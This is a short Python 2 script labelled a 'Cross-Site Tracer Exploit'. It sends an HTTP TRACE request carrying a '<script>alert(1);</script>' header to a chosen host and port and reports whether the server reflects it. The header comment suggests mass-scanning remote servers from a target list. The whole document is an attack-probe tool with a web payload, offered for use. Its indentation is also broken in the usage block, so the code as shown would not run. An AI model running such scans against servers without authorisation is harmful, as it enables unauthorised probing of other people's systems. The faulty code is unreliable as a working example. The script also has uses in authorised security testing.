Cross-Site Tracer Exploit

#!/usr/bin/python
# Cross-Site Tracer by 1N3 v20150224
# https://crowdshield.com
#
# ABOUT: A quick and easy script to check remote web servers for Cross-Site Tracing. For more robust mass scanning, you can create a list of domains or IP addresses to iterate through by doing 'for a in `cat targets.txt`; do ./xsstracer.py $a 80; done;'
#
# USAGE: xsstracer.py <IP/host> <port>
#

import socket
import time
import sys, getopt

class bcolors:
    HEADER = '\033[95m'
    OKBLUE = '\033[94m'
    OKGREEN = '\033[92m'
    WARNING = '\033[93m'
    FAIL = '\033[91m'
    ENDC = '\033[0m'
    BOLD = '\033[1m'
    UNDERLINE = '\033[4m'

def main(argv):
    argc = len(argv)

    if argc <= 2:
        print bcolors.OKBLUE + "+ -- --=[Cross-Site Tracer by 1N3 v20150224" + bcolors.ENDC
        print bcolors.OKBLUE + "+ -- --=[" + bcolors.UNDERLINE + "https://crowdshield.com" + bcolors.ENDC
            print bcolors.OKBLUE + "+ -- --=[usage: %s <host> <port>" % (argv[0]) + bcolors.ENDC
            sys.exit(0)

    target = argv[1] # SET TARGET
    port = argv[2] # SET PORT

    buffer1 = "TRACE / HTTP/1.1"
    buffer2 = "Test: <script>alert(1);</script>"
    buffer3 = "Host: " + target

    print ""
    print bcolors.OKBLUE + "+ -- --=[Cross-Site Tracer by 1N3 "
    print bcolors.OKBLUE + "+ -- --=[https://crowdshield.com"
    print bcolors.OKBLUE + "+ -- --=[Target: " + target + ":" + port

    s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    result=s.connect_ex((target,int(port)))

    if result == 0:
        s.send(buffer1 + "\n")
        s.send(buffer2 + "\n")
        s.send(buffer3 + "\n\n")
        data = s.recv(1024)
        script = "alert"
        if script.lower() in data.lower():
            print bcolors.FAIL + "+ -- --=[Site vulnerable to XST!" + bcolors.ENDC
            print ""
            print bcolors.WARNING + data + bcolors.ENDC
        else:
            print bcolors.OKGREEN + "+ -- --=[Site not vulnerable to XST!"
            print ""
            print ""

    else:
        print bcolors.WARNING + "+ -- --=[Port is closed!" + bcolors.ENDC

    s.close()

main(sys.argv)